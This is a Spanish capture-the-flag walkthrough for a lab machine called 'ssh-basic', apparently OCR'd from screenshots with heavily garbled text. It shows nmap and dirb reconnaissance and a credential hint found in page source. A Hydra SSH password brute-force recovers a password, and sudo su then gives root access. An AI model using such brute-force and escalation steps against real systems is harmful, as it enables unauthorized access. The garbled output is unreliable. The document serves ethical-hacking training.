Walkthrough ssh-basic

resolucion de maquina ssh-basic
(Hacking Etico)
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1. RECONOCIMIENTO

|-[~/Desktop/Maquinas ]

152 8.0/24
Starting Nmap 7.94 ://nmap.org ) at 2024-04-86 18:13
MNmap scan report for
Host is up (@.00048s
MNmap scan report for
Host is up (@.008014s
MNmap scan report for
Host is up (@.00071s late .
Nmap done: 256 IP addre (3 ) | .89 seconds

[~/Desktop/Maquinas ]
- A i}

4-04-06 18:14 CEST
Nmap scan
Host is up
Not shown: 65
PORT STATE o
‘tcp open ssh enSSH 8.9pl1 Ubunt ubuntu@®.6 (Ubuntu Linux; protocol 2.0)
ssh-hostkey:

(Ubuntu)
fo:Linux:linux_kernel

ection performed. Plea report any i Il resul a nmap.org/submit/
1 IP address (1 host up) scanned in ¢ seconds

Después de saber su IP le tiro un escaneo de puertos para saber algunas posibles
vulnerabilidades que pueda tener o saber que puertos estan abiertos para poder
aprovecharlos



|- [~/Desktop/Maquinas
92.168.28.14 fusr/share/wordlists/dirb/big.txt

START_TIME:
URL_BASE:
WORDLIST_FI

- //192.168.28. 14/ a (CODE:4@3|SIZE:278)
DIRECTORY: S/192 188.28.14/ssh/

—— Entering directory: ff 28.14/ssh/ —
(!) WARNING: Director S LISTABELE. No need to scam 1t.
(Use mode ' . a

END_TIME: 2
DOWNLOADED: 2@45 FOUND: 1

Sabiendo que tiene corriendo un apache, podemos tirarle un “dirb” para saber qué
directorios o archivos web tienen por la red dentro de este apache
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Hacking Etico con SSH

Introduccién Conceptos Basicos de SSH Comandos de SSH Préactica de Hacking Etico

Introduccién

Bienvenido a nuestra guia sobre el uso de SSH para el hacking ético basico. Aqui aprenderas los fundamentos de SSH y como aplicarlos de manera ética en tus pruebas de penetracion.

Conceptos Basicos de SSH

En esta secci6n, cubriremos los conceptos esenciales de SsH, incluyendo cémo funciona el protocolo SSH, la autenticacién de claves publicas y privadas, asi como la configuracién de servidores
SSH.

SSH, o Secure Shell, es un protocolo de red que permite a los usuarios acceder de forma segura a sistemas remotos. Utiliza cifrado para proteger la comunicacién entre el cliente y el
servidor, lo que lo hace ideal para tareas como administracién de sistemas y transferencia de archivos.

Comandos de SSH

Aqui encontrards una lista detallada de los comandos mas utilizados en SSH, junto con ejemplos précticos de como usarlos en situaciones de hacking ético.

Si ponemos la direccion IP de la maquina victima y no le especificamos el puerto no
redirigira al puerto 80 que es el que viene por defecto en el cual esta corriendo el apache
(Una pagina web) con esto ya podemos investigarla para sacar posibles credenciales o
vulnerabilidades



*»  Indexof /ssh

O & 192.168.28.14/ssh/

Kali Linux # KaliTools = KaliDocs % KaliForums ex Kali NetHunter Expl

Index of /ssh

Name Last modified Size Description

« Parent Directory -

ssh.html 2024-04-06 15:42 1.0K
styles.css 2024-04-06 15:38 912

Apache/2.4.52 (Ubuntu) Server at 192.168.28.14 Port 80

En el “dirb” nos muestra que hay un directorio llamado “/ssh/” y si nos metemos en el, nos
muestra lo siguiente...

S Inicio de sesion SSH X aF
< C @ Q & 192168.28.14/ssh/ssh.htm

KaliLinux & Kali Tools « KaliDocs M KaliForums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

Inicio de sesion SSH

Usuario:

Contrasefia:

Iniciar sesion

Si le damos a ssh.html nos lleva a esta pagina



C @ (3 view-source:http://192.168.28.14/ssh/ssh.html

KaliLinux #& KaliTools = KaliDocs M KaliForums e\ Kali NetHunter Exploit-DB G

IDOCTYPE html=
lang="en"=

charset="UTF-8">
name="viewport" content="width=device-width, initial-scale=1.
=>Inicio de sesidén S5H</ >

rel="stylesheet" href="styles.css"»

>
<hl=Inicio de sesidén SSH=</hl=

action="/login" method="post"=>
class="input-group"=
for="username">Usuario:=</ -
type="text" id="username" name="username"=

rd">Contrasefia: </
type="password" id="password"” name="password">

type="submit">Iniciar sesidn</ >

b = L I S LR )

2824 Inicio de sesidn SSHe/p=

Username: tom
Password: (Try using a dictionary to get the user's pass

af >

2
2
2
2
2
2
2
2
=3
3
3
i
3
3
3
i
3
3
=
i

LV g WE R U i o = e ]

Si inspeccionamos la pagina veremos que hay un comentario con un usuario y una pista de
como sacarle la contrasena a ese usuario

)= [~/Desktop/Maquinas ]
L tom -P fusr/share/wordlists/metasploit/unix_passwords.txt ssh://192.168.28.14 -t 64
Hydra v9.5 (c) 2823 by van Hauser/THC & David Maciejak - Please do not use in military or secret se
anyway ).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-06 19:56:11

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce t
[WARNING] Restorefile {you have 1@ seconds to abort ... (use option -I to skip waiting)) from a prev
[DATA] max 64 tasks per 1 server, overall 64 tasks, 1009 login tries (1:1/p:1809), ~16 tries per ta
[DATA] attacking ssh://192.168.28.14:22/

[22]1[ssh] host: 192.168.28.14 login: tom password: flower

1 of 1 target successfully completed, 1 wvalid password found

[WARNING] Writing restore file because 26 final worker threads did not complete until end.

[ERROR] 26 targets did not resolve or could not be connected

[ERROR] @ target did not complete

Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-04-06 19:56:25




Tiramos un hydra para sacarle la contrasena a “tom”

2. USUARIO TOM

Welcome to Ubuntu 22.04.4

+ Documentation: https elp.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https: //ubuntu.com/pro

esta

iata

apt list --upgradable

a recibir futuras actuwalizaciones de seguridad adicionales.
 https://ubuntu.com/esm o ejecute «sudo pro status»

Last login: Sat Apr
tomabasic-ssh:~$ |

Nos conectamos por ssh para entrar dentro de la maquina victima con ese usuario
autenticado



#FLAG1

tomabasi

-I'N-T—T—
—IW-T—T—
drwx

—IW-T—T—
—IW-T—T—

tomgbasic-ssh:~% cat FLAG.txt

Very good, you have flag 1/:

This flag is worth 1@ points

[ L I S R R i T

1

tom
root
tom
tom
tom
tom
root
tom

--ssh:~% 1s -la

tom
root
tom
tom
tom
tom
root

tom 8a7

Perfect, you are becoming a

Try doing

En la /home/ del usuario “tom” esta la primera flag, la leemos con “cat”

:~% sudo -1

User tom
(ALL :

Si hacemos “sudo -I” podremos ver lo que puede hacer ese usuario con sudo (Como super

"sudo -1"

little hacker

_history
_logout

o oo
(ST =T 1]
thowowm
= ===

L=|
-

FLAG.txXT
.profile

usuario) sin contrasefna en este caso tiene todos los permisos



3. USUARIO ROOT

#FLAG2

root root 409f
root root 4@°
root root
root root 3
root root 46 2HE
root root 49@ abr 6 3:52 FLAG.tTXt

drwxr-xr-x 23 root root 4@ 35

-I'Ww-r—r root root

drwx 3 root root 4@

drwx 2 root root 4@

root@basic-ssh:~# cat FLAG.txt

.profile

[ I L T N L

Very good, you have the flag 2,2
This flag is worth 2@ polnts

From i

Code: 0Q29kaWdvOiBzc2gtdmVyaWZpY2Fkbw=

Por lo que podremos hacernos root haciendo “sudo su” y en su /home/ podremos encontrar
la ultima flag, ya estaria terminada.

GRACIAS POR HABER PARTICIPADO EN MI MINIJUEGO DE HACKING ETICO



